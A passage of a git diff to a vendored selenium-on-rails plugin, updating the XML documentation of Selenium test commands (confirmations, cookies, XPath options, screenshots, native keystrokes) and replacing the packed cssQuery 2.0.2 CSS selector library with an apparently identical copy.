-return true, as if the user had manually clicked OK.  After running
+<comment><p>
+By default, Selenium's overridden window.confirm() function will
+return true, as if the user had manually clicked OK; after running
 this command, the next call to confirm() will return false, as if
-the user had clicked Cancel.</comment>
+the user had clicked Cancel.  Selenium will then resume using the
+default behavior for future confirmations, automatically returning 
+true (OK) unless/until you explicitly call this command for each
+confirmation.
+</p>
+<p>
+Take note - every time a confirmation comes up, you must
+consume it with a corresponding getConfirmation, or else
+the next selenium operation will fail.
+</p></comment>
+
+</function>
+
+<function name="chooseOkOnNextConfirmation">
+
+<comment><p>
+Undo the effect of calling chooseCancelOnNextConfirmation.  Note
+that Selenium's overridden window.confirm() function will normally automatically
+return true, as if the user had manually clicked OK, so you shouldn't
+need to use this command unless for some reason you need to change
+your mind prior to the next confirmation.  After any confirmation, Selenium will resume using the
+default behavior for future confirmations, automatically returning 
+true (OK) unless/until you explicitly call chooseCancelOnNextConfirmation for each
+confirmation.
+</p>
+<p>
+Take note - every time a confirmation comes up, you must
+consume it with a corresponding getConfirmation, or else
+the next selenium operation will fail.
+</p></comment>
 
 </function>
 
@@ -719,13 +844,13 @@ This function never throws an exception
 <comment>Retrieves the message of a JavaScript alert generated during the previous action, or fail if there were no alerts.
 
 <p>Getting an alert has the same effect as manually clicking OK. If an
-alert is generated but you do not get/verify it, the next Selenium action
+alert is generated but you do not consume it with getAlert, the next Selenium action
 will fail.</p>
 
-<p>NOTE: under Selenium, JavaScript alerts will NOT pop up a visible alert
+<p>Under Selenium, JavaScript alerts will NOT pop up a visible alert
 dialog.</p>
 
-<p>NOTE: Selenium does NOT support JavaScript alerts that are generated in a
+<p>Selenium does NOT support JavaScript alerts that are generated in a
 page's onload() event handler. In this case a visible dialog WILL be
 generated and Selenium will hang until someone manually clicks OK.</p></comment>
 
@@ -741,8 +866,11 @@ the previous action.
 <p>
 By default, the confirm function will return true, having the same effect
 as manually clicking OK. This can be changed by prior execution of the
-chooseCancelOnNextConfirmation command. If an confirmation is generated
-but you do not get/verify it, the next Selenium action will fail.
+chooseCancelOnNextConfirmation command. 
+</p>
+<p>
+If an confirmation is generated but you do not consume it with getConfirmation,
+the next Selenium action will fail.
 </p>
 
 <p>
@@ -846,13 +974,12 @@ text shown to the user.</comment>
 have multiple lines, but only the result of the last line will be returned.
 
 <p>Note that, by default, the snippet will run in the context of the "selenium"
-object itself, so <code>this</code> will refer to the Selenium object, and <code>window</code> will
-refer to the top-level runner test window, not the window of your application.</p>
+object itself, so <code>this</code> will refer to the Selenium object.  Use <code>window</code> to
+refer to the window of your application, e.g. <code>window.document.getElementById('foo')</code></p>
 
-<p>If you need a reference to the window of your application, you can refer
-to <code>this.browserbot.getCurrentWindow()</code> and if you need to use
+<p>If you need to use
 a locator to refer to a single element in your application page, you can
-use <code>this.browserbot.findElement("foo")</code> where "foo" is your locator.</p></comment>
+use <code>this.browserbot.findElement("id=foo")</code> where "id=foo" is your locator.</p></comment>
 
 </function>
 
@@ -981,9 +1108,11 @@ tableLocator.row.column, where row and column start at 0.</comment>
 
 <return type="string">the value of the specified attribute</return>
 
-<param name="attributeLocator">an element locator followed by an</param>
+<param name="attributeLocator">an element locator followed by an &#064; sign and then the name of the attribute, e.g. "foo&#064;bar"</param>
 
-<comment>Gets the value of an element attribute.</comment>
+<comment>Gets the value of an element attribute. The value of the attribute may
+differ across browsers (this is the case for the "style" attribute, for
+example).</comment>
 
 </function>
 
@@ -1126,17 +1255,13 @@ just send one "mousemove" at the start location and then one final one at the en
 
 <function name="windowFocus">
 
-<param name="windowName">name of the window to be given focus</param>
-
-<comment>Gives focus to a window</comment>
+<comment>Gives focus to the currently selected window</comment>
 
 </function>
 
 <function name="windowMaximize">
 
-<param name="windowName">name of the window to be enlarged</param>
-
-<comment>Resize window to take up the entire screen</comment>
+<comment>Resize currently selected window to take up the entire screen</comment>
 
 </function>
 
@@ -1197,13 +1322,13 @@ will be ignored.</comment>
 
 <function name="isOrdered">
 
-<return type="boolean">true if two elements are ordered and have same parent, false otherwise</return>
+<return type="boolean">true if element1 is the previous sibling of element2, false otherwise</return>
 
 <param name="locator1">an <a href="#locators">element locator</a> pointing to the first element</param>
 
 <param name="locator2">an <a href="#locators">element locator</a> pointing to the second element</param>
 
-<comment>Check if these two elements have same parent and are ordered. Two same elements will
+<comment>Check if these two elements have same parent and are ordered siblings in the DOM. Two same elements will
 not be considered ordered.</comment>
 
 </function>
@@ -1262,23 +1387,6 @@ This method will fail if the specified element isn't an input element or textare
 
 </function>
 
-<function name="setContext">
-
-<param name="context">the message to be sent to the browser</param>
-
-<param name="logLevelThreshold">one of "debug", "info", "warn", "error", sets the threshold for browser-side logging</param>
-
-<comment>Writes a message to the status bar and adds a note to the browser-side
-log.
-
-<p>If logLevelThreshold is specified, set the threshold for logging
-to that level (debug, info, warn, error).</p>
-
-<p>(Note that the browser-side logs will <i>not</i> be sent back to the
-server, and are invisible to the Client Driver.)</p></comment>
-
-</function>
-
 <function name="getExpression">
 
 <return type="string">the value passed in</return>
@@ -1292,6 +1400,58 @@ It is used to generate commands like assertExpression and waitForExpression.</p>
 
 </function>
 
+<function name="getXpathCount">
+
+<return type="number">the number of nodes that match the specified xpath</return>
+
+<param name="xpath">the xpath expression to evaluate. do NOT wrap this expression in a 'count()' function; we will do that for you.</param>
+
+<comment>Returns the number of nodes that match the specified xpath, eg. "//table" would give
+the number of tables.</comment>
+
+</function>
+
+<function name="assignId">
+
+<param name="locator">an <a href="#locators">element locator</a> pointing to an element</param>
+
+<param name="identifier">a string to be used as the ID of the specified element</param>
+
+<comment>Temporarily sets the "id" attribute of the specified element, so you can locate it in the future
+using its ID rather than a slow/complicated XPath.  This ID will disappear once the page is
+reloaded.</comment>
+
+</function>
+
+<function name="allowNativeXpath">
+
+<param name="allow">boolean, true means we'll prefer to use native XPath; false means we'll only use JS XPath</param>
+
+<comment>Specifies whether Selenium should use the native in-browser implementation
+of XPath (if any native version is available); if you pass "false" to
+this function, we will always use our pure-JavaScript xpath library.
+Using the pure-JS xpath library can improve the consistency of xpath
+element locators between different browser vendors, but the pure-JS
+version is much slower than the native implementations.</comment>
+
+</function>
+
+<function name="ignoreAttributesWithoutValue">
+
+<param name="ignore">boolean, true means we'll ignore attributes without value                        at the expense of xpath "correctness"; false means                        we'll sacrifice speed for correctness.</param>
+
+<comment>Specifies whether Selenium will ignore xpath attributes that have no
+value, i.e. are the empty string, when using the non-native xpath
+evaluation engine. You'd want to do this for performance reasons in IE.
+However, this could break certain xpaths, for example an xpath that looks
+for an attribute whose value is NOT the empty string.
+
+The hope is that such xpaths are relatively rare, but the user should
+have the option of using them. Note that this only influences xpath
+evaluation when using the ajaxslt engine (i.e. not "javascript-xpath").</comment>
+
+</function>
+
 <function name="waitForCondition">
 
 <param name="script">the JavaScript snippet to run</param>
@@ -1336,6 +1496,21 @@ wait immediately after a Selenium command that caused a page-load.</p></comment>
 
 </function>
 
+<function name="waitForFrameToLoad">
+
+<param name="frameAddress">FrameAddress from the server side</param>
+
+<param name="timeout">a timeout in milliseconds, after which this command will return with an error</param>
+
+<comment>Waits for a new frame to load.
+
+<p>Selenium constantly keeps track of new pages and frames loading, 
+and sets a "newPageLoaded" flag when it first notices a page load.</p>
+
+See waitForPageToLoad for more information.</comment>
+
+</function>
+
 <function name="getCookie">
 
 <return type="string">all cookies of the current page under test</return>
@@ -1344,11 +1519,31 @@ wait immediately after a Selenium command that caused a page-load.</p></comment>
 
 </function>
 
+<function name="getCookieByName">
+
+<return type="string">the value of the cookie</return>
+
+<param name="name">the name of the cookie</param>
+
+<comment>Returns the value of the cookie with the specified name, or throws an error if the cookie is not present.</comment>
+
+</function>
+
+<function name="isCookiePresent">
+
+<return type="boolean">true if a cookie with the specified name is present, or false otherwise.</return>
+
+<param name="name">the name of the cookie</param>
+
+<comment>Returns true if a cookie with the specified name is present, or false otherwise.</comment>
+
+</function>
+
 <function name="createCookie">
 
 <param name="nameValuePair">name and value of the cookie in a format "name=value"</param>
 
-<param name="optionsString">options for the cookie. Currently supported options include 'path' and 'max_age'.      the optionsString's format is "path=/path/, max_age=60". The order of options are irrelevant, the unit      of the value of 'max_age' is second.</param>
+<param name="optionsString">options for the cookie. Currently supported options include 'path', 'max_age' and 'domain'.      the optionsString's format is "path=/path/, max_age=60, domain=.foo.com". The order of options are irrelevant, the unit      of the value of 'max_age' is second.  Note that specifying a domain that isn't a subset of the current domain will      usually fail.</param>
 
 <comment>Create a new cookie whose path and domain are same with those of current page
 under test, unless you specified a path for this cookie explicitly.</comment>
@@ -1359,9 +1554,246 @@ under test, unless you specified a path for this cookie explicitly.</comment>
 
 <param name="name">the name of the cookie to be deleted</param>
 
-<param name="path">the path property of the cookie to be deleted</param>
+<param name="optionsString">options for the cookie. Currently supported options include 'path', 'domain'      and 'recurse.' The optionsString's format is "path=/path/, domain=.foo.com, recurse=true".      The order of options are irrelevant. Note that specifying a domain that isn't a subset of      the current domain will usually fail.</param>
 
-<comment>Delete a named cookie with specified path.</comment>
+<comment>Delete a named cookie with specified path and domain.  Be careful; to delete a cookie, you
+need to delete it using the exact same path and domain that were used to create the cookie.
+If the path is wrong, or the domain is wrong, the cookie simply won't be deleted.  Also
+note that specifying a domain that isn't a subset of the current domain will usually fail.
+
+Since there's no way to discover at runtime the original path and domain of a given cookie,
+we've added an option called 'recurse' to try all sub-domains of the current domain with
+all paths that are a subset of the current path.  Beware; this option can be slow.  In
+big-O notation, it operates in O(n*m) time, where n is the number of dots in the domain
+name and m is the number of slashes in the path.</comment>
+
+</function>
+
+<function name="deleteAllVisibleCookies">
+
+<comment>Calls deleteCookie with recurse=true on all cookies visible to the current page.
+As noted on the documentation for deleteCookie, recurse=true can be much slower
+than simply deleting the cookies using a known domain/path.</comment>
+
+</function>
+
+<function name="setBrowserLogLevel">
+
+<param name="logLevel">one of the following: "debug", "info", "warn", "error" or "off"</param>
+
+<comment>Sets the threshold for browser-side logging messages; log messages beneath this threshold will be discarded.
+Valid logLevel strings are: "debug", "info", "warn", "error" or "off".
+To see the browser logs, you need to
+either show the log window in GUI mode, or enable browser-side logging in Selenium RC.</comment>
+
+</function>
+
+<function name="runScript">
+
+<param name="script">the JavaScript snippet to run</param>
+
+<comment>Creates a new "script" tag in the body of the current test window, and 
+adds the specified text into the body of the command.  Scripts run in
+this way can often be debugged more easily than scripts executed using
+Selenium's "getEval" command.  Beware that JS exceptions thrown in these script
+tags aren't managed by Selenium, so you should probably wrap your script
+in try/catch blocks if there is any chance that the script will throw
+an exception.</comment>
+
+</function>
+
+<function name="addLocationStrategy">
+
+<param name="strategyName">the name of the strategy to define; this should use only   letters [a-zA-Z] with no spaces or other punctuation.</param>
+
+<param name="functionDefinition">a string defining the body of a function in JavaScript.   For example: <code>return inDocument.getElementById(locator);</code></param>
+
+<comment>Defines a new function for Selenium to locate elements on the page.
+For example,
+if you define the strategy "foo", and someone runs click("foo=blah"), we'll
+run your function, passing you the string "blah", and click on the element 
+that your function
+returns, or throw an "Element not found" error if your function returns null.
+
+We'll pass three arguments to your function:
+<ul>
+<li>locator: the string the user passed in</li>
+<li>inWindow: the currently selected window</li>
+<li>inDocument: the currently selected document</li>
+</ul>
+The function must return null if the element can't be found.</comment>
+
+</function>
+
+<function name="captureEntirePageScreenshot">
+
+<param name="filename">the path to the file to persist the screenshot as. No                  filename extension will be appended by default.                  Directories will not be created if they do not exist,                    and an exception will be thrown, possibly by native                  code.</param>
+
+<param name="kwargs">a kwargs string that modifies the way the screenshot                  is captured. Example: "background=#CCFFDD" .                  Currently valid options:                  <dl>                   <dt>background</dt>                     <dd>the background CSS for the HTML document. This                     may be useful to set for capturing screenshots of                     less-than-ideal layouts, for example where absolute                     positioning causes the calculation of the canvas                     dimension to fail and a black background is exposed                     (possibly obscuring black text).</dd>                  </dl></param>
+
+<comment>Saves the entire contents of the current window canvas to a PNG file.
+Contrast this with the captureScreenshot command, which captures the
+contents of the OS viewport (i.e. whatever is currently being displayed
+on the monitor), and is implemented in the RC only. Currently this only
+works in Firefox when running in chrome mode, and in IE non-HTA using
+the EXPERIMENTAL "Snapsie" utility. The Firefox implementation is mostly
+borrowed from the Screengrab! Firefox extension. Please see
+http://www.screengrab.org and http://snapsie.sourceforge.net/ for
+details.</comment>
+
+</function>
+
+<function name="rollup">
+
+<param name="rollupName">the name of the rollup command</param>
+
+<param name="kwargs">keyword arguments string that influences how the                    rollup expands into commands</param>
+
+<comment>Executes a command rollup, which is a series of commands with a unique
+name, and optionally arguments that control the generation of the set of
+commands. If any one of the rolled-up commands fails, the rollup is
+considered to have failed. Rollups may also contain nested rollups.</comment>
+
+</function>
+
+<function name="addScript">
+
+<param name="scriptContent">the Javascript content of the script to add</param>
+
+<param name="scriptTagId">(optional) the id of the new script tag. If                       specified, and an element with this id already                       exists, this operation will fail.</param>
+
+<comment>Loads script content into a new script tag in the Selenium document. This
+differs from the runScript command in that runScript adds the script tag
+to the document of the AUT, not the Selenium document. The following
+entities in the script content are replaced by the characters they
+represent:
+
+    &lt;
+    &gt;
+    &amp;
+
+The corresponding remove command is removeScript.</comment>
+
+</function>
+
+<function name="removeScript">
+
+<param name="scriptTagId">the id of the script element to remove.</param>
+
+<comment>Removes a script tag from the Selenium document identified by the given
+id. Does nothing if the referenced tag doesn't exist.</comment>
+
+</function>
+
+<function name="useXpathLibrary">
+
+<param name="libraryName">name of the desired library Only the following three can be chosen:   ajaxslt - Google's library   javascript - Cybozu Labs' faster library   default - The default library.  Currently the default library is ajaxslt. If libraryName isn't one of these three, then  no change will be made.</param>
+
+<comment>Allows choice of one of the available libraries.</comment>
+
+</function>
+
+<function name="setContext">
+
+<param name="context">the message to be sent to the browser</param>
+
+<comment>Writes a message to the status bar and adds a note to the browser-side
+log.</comment>
+
+</function>
+
+<function name="attachFile">
+
+<param name="fieldLocator">an <a href="#locators">element locator</a></param>
+
+<param name="fileLocator">a URL pointing to the specified file. Before the file  can be set in the input field (fieldLocator), Selenium RC may need to transfer the file    to the local machine before attaching the file in a web page form. This is common in selenium  grid configurations where the RC server driving the browser is not the same  machine that started the test.   Supported Browsers: Firefox ("*chrome") only.</param>
+
+<comment>Sets a file input (upload) field to the file listed in fileLocator</comment>
+
+</function>
+
+<function name="captureScreenshot">
+
+<param name="filename">the absolute path to the file to be written, e.g. "c:\blah\screenshot.png"</param>
+
+<comment>Captures a PNG screenshot to the specified file.</comment>
+
+</function>
+
+<function name="captureScreenshotToString">
+
+<return type="string">The base 64 encoded string of the screen shot (PNG file)</return>
+
+<comment>Capture a PNG screenshot.  It then returns the file as a base 64 encoded string.</comment>
+
+</function>
+
+<function name="captureEntirePageScreenshotToString">
+
+<return type="string">The base 64 encoded string of the page screenshot (PNG file)</return>
+
+<param name="kwargs">A kwargs string that modifies the way the screenshot is captured. Example: "background=#CCFFDD". This may be useful to set for capturing screenshots of less-than-ideal layouts, for example where absolute positioning causes the calculation of the canvas dimension to fail and a black background is exposed  (possibly obscuring black text).</param>
+
+<comment>Downloads a screenshot of the browser current window canvas to a 
+based 64 encoded PNG file. The <em>entire</em> windows canvas is captured,
+including parts rendered outside of the current view port.
+
+Currently this only works in Mozilla and when running in chrome mode.</comment>
+
+</function>
+
+<function name="shutDownSeleniumServer">
+
+<comment>Kills the running Selenium Server and all browser sessions.  After you run this command, you will no longer be able to send
+commands to the server; you can't remotely start the server once it has been stopped.  Normally
+you should prefer to run the "stop" command, which terminates the current browser session, rather than 
+shutting down the entire server.</comment>
+
+</function>
+
+<function name="retrieveLastRemoteControlLogs">
+
+<return type="string">The last N log messages as a multi-line string.</return>
+
+<comment>Retrieve the last messages logged on a specific remote control. Useful for error reports, especially
+when running multiple remote controls in a distributed environment. The maximum number of log messages
+that can be retrieve is configured on remote control startup.</comment>
+
+</function>
+
+<function name="keyDownNative">
+
+<param name="keycode">an integer keycode number corresponding to a java.awt.event.KeyEvent; note that Java keycodes are NOT the same thing as JavaScript keycodes!</param>
+
+<comment>Simulates a user pressing a key (without releasing it yet) by sending a native operating system keystroke.
+This function uses the java.awt.Robot class to send a keystroke; this more accurately simulates typing
+a key on the keyboard.  It does not honor settings from the shiftKeyDown, controlKeyDown, altKeyDown and
+metaKeyDown commands, and does not target any particular HTML element.  To send a keystroke to a particular
+element, focus on the element first before running this command.</comment>
+
+</function>
+
+<function name="keyUpNative">
+
+<param name="keycode">an integer keycode number corresponding to a java.awt.event.KeyEvent; note that Java keycodes are NOT the same thing as JavaScript keycodes!</param>
+
+<comment>Simulates a user releasing a key by sending a native operating system keystroke.
+This function uses the java.awt.Robot class to send a keystroke; this more accurately simulates typing
+a key on the keyboard.  It does not honor settings from the shiftKeyDown, controlKeyDown, altKeyDown and
+metaKeyDown commands, and does not target any particular HTML element.  To send a keystroke to a particular
+element, focus on the element first before running this command.</comment>
+
+</function>
+
+<function name="keyPressNative">
+
+<param name="keycode">an integer keycode number corresponding to a java.awt.event.KeyEvent; note that Java keycodes are NOT the same thing as JavaScript keycodes!</param>
+
+<comment>Simulates a user pressing and releasing a key by sending a native operating system keystroke.
+This function uses the java.awt.Robot class to send a keystroke; this more accurately simulates typing
+a key on the keyboard.  It does not honor settings from the shiftKeyDown, controlKeyDown, altKeyDown and
+metaKeyDown commands, and does not target any particular HTML element.  To send a keystroke to a particular
+element, focus on the element first before running this command.</comment>
 
 </function>
 
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/cssQuery-p.js b/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/cssQuery-p.js
index 00e43a42..4a7eb88a 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/cssQuery-p.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/cssQuery-p.js
@@ -1,6 +1,6 @@
-/*
-	cssQuery, version 2.0.2 (2005-08-19)
-	Copyright: 2004-2005, Dean Edwards (http://dean.edwards.name/)
-	License: http://creativecommons.org/licenses/LGPL/2.1/
-*/
-eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7 x=6(){7 1D="2.0.2";7 C=/\\s*,\\s*/;7 x=6(s,A){33{7 m=[];7 u=1z.32.2c&&!A;7 b=(A)?(A.31==22)?A:[A]:[1g];7 1E=18(s).1l(C),i;9(i=0;i<1E.y;i++){s=1y(1E[i]);8(U&&s.Z(0,3).2b("")==" *#"){s=s.Z(2);A=24([],b,s[1])}1A A=b;7 j=0,t,f,a,c="";H(j<s.y){t=s[j++];f=s[j++];c+=t+f;a="";8(s[j]=="("){H(s[j++]!=")")a+=s[j];a=a.Z(0,-1);c+="("+a+")"}A=(u&&V[c])?V[c]:21(A,t,f,a);8(u)V[c]=A}m=m.30(A)}2a x.2d;5 m}2Z(e){x.2d=e;5[]}};x.1Z=6(){5"6 x() {\\n  [1D "+1D+"]\\n}"};7 V={};x.2c=L;x.2Y=6(s){8(s){s=1y(s).2b("");2a V[s]}1A V={}};7 29={};7 19=L;x.15=6(n,s){8(19)1i("s="+1U(s));29[n]=12 s()};x.2X=6(c){5 c?1i(c):o};7 D={};7 h={};7 q={P:/\\[([\\w-]+(\\|[\\w-]+)?)\\s*(\\W?=)?\\s*([^\\]]*)\\]/};7 T=[];D[" "]=6(r,f,t,n){7 e,i,j;9(i=0;i<f.y;i++){7 s=X(f[i],t,n);9(j=0;(e=s[j]);j++){8(M(e)&&14(e,n))r.z(e)}}};D["#"]=6(r,f,i){7 e,j;9(j=0;(e=f[j]);j++)8(e.B==i)r.z(e)};D["."]=6(r,f,c){c=12 1t("(^|\\\\s)"+c+"(\\\\s|$)");7 e,i;9(i=0;(e=f[i]);i++)8(c.l(e.1V))r.z(e)};D[":"]=6(r,f,p,a){7 t=h[p],e,i;8(t)9(i=0;(e=f[i]);i++)8(t(e,a))r.z(e)};h["2W"]=6(e){7 d=Q(e);8(d.1C)9(7 i=0;i<d.1C.y;i++){8(d.1C[i]==e)5 K}};h["2V"]=6(e){};7 M=6(e){5(e&&e.1c==1&&e.1f!="!")?e:23};7 16=6(e){H(e&&(e=e.2U)&&!M(e))28;5 e};7 G=6(e){H(e&&(e=e.2T)&&!M(e))28;5 e};7 1r=6(e){5 M(e.27)||G(e.27)};7 1P=6(e){5 M(e.26)||16(e.26)};7 1o=6(e){7 c=[];e=1r(e);H(e){c.z(e);e=G(e)}5 c};7 U=K;7 1h=6(e){7 d=Q(e);5(2S d.25=="2R")?/\\.1J$/i.l(d.2Q):2P(d.25=="2O 2N")};7 Q=6(e){5 e.2M||e.1g};7 X=6(e,t){5(t=="*"&&e.1B)?e.1B:e.X(t)};7 17=6(e,t,n){8(t=="*")5 M(e);8(!14(e,n))5 L;8(!1h(e))t=t.2L();5 e.1f==t};7 14=6(e,n){5!n||(n=="*")||(e.2K==n)};7 1e=6(e){5 e.1G};6 24(r,f,B){7 m,i,j;9(i=0;i<f.y;i++){8(m=f[i].1B.2J(B)){8(m.B==B)r.z(m);1A 8(m.y!=23){9(j=0;j<m.y;j++){8(m[j].B==B)r.z(m[j])}}}}5 r};8(![].z)22.2I.z=6(){9(7 i=0;i<1z.y;i++){o[o.y]=1z[i]}5 o.y};7 N=/\\|/;6 21(A,t,f,a){8(N.l(f)){f=f.1l(N);a=f[0];f=f[1]}7 r=[];8(D[t]){D[t](r,A,f,a)}5 r};7 S=/^[^\\s>+~]/;7 20=/[\\s#.:>+~()@]|[^\\s#.:>+~()@]+/g;6 1y(s){8(S.l(s))s=" "+s;5 s.P(20)||[]};7 W=/\\s*([\\s>+~(),]|^|$)\\s*/g;7 I=/([\\s>+~,]|[^(]\\+|^)([#.:@])/g;7 18=6(s){5 s.O(W,"$1").O(I,"$1*$2")};7 1u={1Z:6(){5"\'"},P:/^(\'[^\']*\')|("[^"]*")$/,l:6(s){5 o.P.l(s)},1S:6(s){5 o.l(s)?s:o+s+o},1Y:6(s){5 o.l(s)?s.Z(1,-1):s}};7 1s=6(t){5 1u.1Y(t)};7 E=/([\\/()[\\]?{}|*+-])/g;6 R(s){5 s.O(E,"\\\\$1")};x.15("1j-2H",6(){D[">"]=6(r,f,t,n){7 e,i,j;9(i=0;i<f.y;i++){7 s=1o(f[i]);9(j=0;(e=s[j]);j++)8(17(e,t,n))r.z(e)}};D["+"]=6(r,f,t,n){9(7 i=0;i<f.y;i++){7 e=G(f[i]);8(e&&17(e,t,n))r.z(e)}};D["@"]=6(r,f,a){7 t=T[a].l;7 e,i;9(i=0;(e=f[i]);i++)8(t(e))r.z(e)};h["2G-10"]=6(e){5!16(e)};h["1x"]=6(e,c){c=12 1t("^"+c,"i");H(e&&!e.13("1x"))e=e.1n;5 e&&c.l(e.13("1x"))};q.1X=/\\\\:/g;q.1w="@";q.J={};q.O=6(m,a,n,c,v){7 k=o.1w+m;8(!T[k]){a=o.1W(a,c||"",v||"");T[k]=a;T.z(a)}5 T[k].B};q.1Q=6(s){s=s.O(o.1X,"|");7 m;H(m=s.P(o.P)){7 r=o.O(m[0],m[1],m[2],m[3],m[4]);s=s.O(o.P,r)}5 s};q.1W=6(p,t,v){7 a={};a.B=o.1w+T.y;a.2F=p;t=o.J[t];t=t?t(o.13(p),1s(v)):L;a.l=12 2E("e","5 "+t);5 a};q.13=6(n){1d(n.2D()){F"B":5"e.B";F"2C":5"e.1V";F"9":5"e.2B";F"1T":8(U){5"1U((e.2A.P(/1T=\\\\1v?([^\\\\s\\\\1v]*)\\\\1v?/)||[])[1]||\'\')"}}5"e.13(\'"+n.O(N,":")+"\')"};q.J[""]=6(a){5 a};q.J["="]=6(a,v){5 a+"=="+1u.1S(v)};q.J["~="]=6(a,v){5"/(^| )"+R(v)+"( |$)/.l("+a+")"};q.J["|="]=6(a,v){5"/^"+R(v)+"(-|$)/.l("+a+")"};7 1R=18;18=6(s){5 1R(q.1Q(s))}});x.15("1j-2z",6(){D["~"]=6(r,f,t,n){7 e,i;9(i=0;(e=f[i]);i++){H(e=G(e)){8(17(e,t,n))r.z(e)}}};h["2y"]=6(e,t){t=12 1t(R(1s(t)));5 t.l(1e(e))};h["2x"]=6(e){5 e==Q(e).1H};h["2w"]=6(e){7 n,i;9(i=0;(n=e.1F[i]);i++){8(M(n)||n.1c==3)5 L}5 K};h["1N-10"]=6(e){5!G(e)};h["2v-10"]=6(e){e=e.1n;5 1r(e)==1P(e)};h["2u"]=6(e,s){7 n=x(s,Q(e));9(7 i=0;i<n.y;i++){8(n[i]==e)5 L}5 K};h["1O-10"]=6(e,a){5 1p(e,a,16)};h["1O-1N-10"]=6(e,a){5 1p(e,a,G)};h["2t"]=6(e){5 e.B==2s.2r.Z(1)};h["1M"]=6(e){5 e.1M};h["2q"]=6(e){5 e.1q===L};h["1q"]=6(e){5 e.1q};h["1L"]=6(e){5 e.1L};q.J["^="]=6(a,v){5"/^"+R(v)+"/.l("+a+")"};q.J["$="]=6(a,v){5"/"+R(v)+"$/.l("+a+")"};q.J["*="]=6(a,v){5"/"+R(v)+"/.l("+a+")"};6 1p(e,a,t){1d(a){F"n":5 K;F"2p":a="2n";1a;F"2o":a="2n+1"}7 1m=1o(e.1n);6 1k(i){7 i=(t==G)?1m.y-i:i-1;5 1m[i]==e};8(!Y(a))5 1k(a);a=a.1l("n");7 m=1K(a[0]);7 s=1K(a[1]);8((Y(m)||m==1)&&s==0)5 K;8(m==0&&!Y(s))5 1k(s);8(Y(s))s=0;7 c=1;H(e=t(e))c++;8(Y(m)||m==1)5(t==G)?(c<=s):(s>=c);5(c%m)==s}});x.15("1j-2m",6(){U=1i("L;/*@2l@8(@\\2k)U=K@2j@*/");8(!U){X=6(e,t,n){5 n?e.2i("*",t):e.X(t)};14=6(e,n){5!n||(n=="*")||(e.2h==n)};1h=1g.1I?6(e){5/1J/i.l(Q(e).1I)}:6(e){5 Q(e).1H.1f!="2g"};1e=6(e){5 e.2f||e.1G||1b(e)};6 1b(e){7 t="",n,i;9(i=0;(n=e.1F[i]);i++){1d(n.1c){F 11:F 1:t+=1b(n);1a;F 3:t+=n.2e;1a}}5 t}}});19=K;5 x}();',62,190,'|||||return|function|var|if|for||||||||pseudoClasses||||test|||this||AttributeSelector|||||||cssQuery|length|push|fr|id||selectors||case|nextElementSibling|while||tests|true|false|thisElement||replace|match|getDocument|regEscape||attributeSelectors|isMSIE|cache||getElementsByTagName|isNaN|slice|child||new|getAttribute|compareNamespace|addModule|previousElementSibling|compareTagName|parseSelector|loaded|break|_0|nodeType|switch|getTextContent|tagName|document|isXML|eval|css|_1|split|ch|parentNode|childElements|nthChild|disabled|firstElementChild|getText|RegExp|Quote|x22|PREFIX|lang|_2|arguments|else|all|links|version|se|childNodes|innerText|documentElement|contentType|xml|parseInt|indeterminate|checked|last|nth|lastElementChild|parse|_3|add|href|String|className|create|NS_IE|remove|toString|ST|select|Array|null|_4|mimeType|lastChild|firstChild|continue|modules|delete|join|caching|error|nodeValue|textContent|HTML|prefix|getElementsByTagNameNS|end|x5fwin32|cc_on|standard||odd|even|enabled|hash|location|target|not|only|empty|root|contains|level3|outerHTML|htmlFor|class|toLowerCase|Function|name|first|level2|prototype|item|scopeName|toUpperCase|ownerDocument|Document|XML|Boolean|URL|unknown|typeof|nextSibling|previousSibling|visited|link|valueOf|clearCache|catch|concat|constructor|callee|try'.split('|'),0,{}))
+/*
+	cssQuery, version 2.0.2 (2005-08-19)
+	Copyright: 2004-2005, Dean Edwards (http://dean.edwards.name/)
+	License: http://creativecommons.org/licenses/LGPL/2.1/
+*/
+eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7 x=6(){7 1D="2.0.2";7 C=/\\s*,\\s*/;7 x=6(s,A){33{7 m=[];7 u=1z.32.2c&&!A;7 b=(A)?(A.31==22)?A:[A]:[1g];7 1E=18(s).1l(C),i;9(i=0;i<1E.y;i++){s=1y(1E[i]);8(U&&s.Z(0,3).2b("")==" *#"){s=s.Z(2);A=24([],b,s[1])}1A A=b;7 j=0,t,f,a,c="";H(j<s.y){t=s[j++];f=s[j++];c+=t+f;a="";8(s[j]=="("){H(s[j++]!=")")a+=s[j];a=a.Z(0,-1);c+="("+a+")"}A=(u&&V[c])?V[c]:21(A,t,f,a);8(u)V[c]=A}m=m.30(A)}2a x.2d;5 m}2Z(e){x.2d=e;5[]}};x.1Z=6(){5"6 x() {\\n  [1D "+1D+"]\\n}"};7 V={};x.2c=L;x.2Y=6(s){8(s){s=1y(s).2b("");2a V[s]}1A V={}};7 29={};7 19=L;x.15=6(n,s){8(19)1i("s="+1U(s));29[n]=12 s()};x.2X=6(c){5 c?1i(c):o};7 D={};7 h={};7 q={P:/\\[([\\w-]+(\\|[\\w-]+)?)\\s*(\\W?=)?\\s*([^\\]]*)\\]/};7 T=[];D[" "]=6(r,f,t,n){7 e,i,j;9(i=0;i<f.y;i++){7 s=X(f[i],t,n);9(j=0;(e=s[j]);j++){8(M(e)&&14(e,n))r.z(e)}}};D["#"]=6(r,f,i){7 e,j;9(j=0;(e=f[j]);j++)8(e.B==i)r.z(e)};D["."]=6(r,f,c){c=12 1t("(^|\\\\s)"+c+"(\\\\s|$)");7 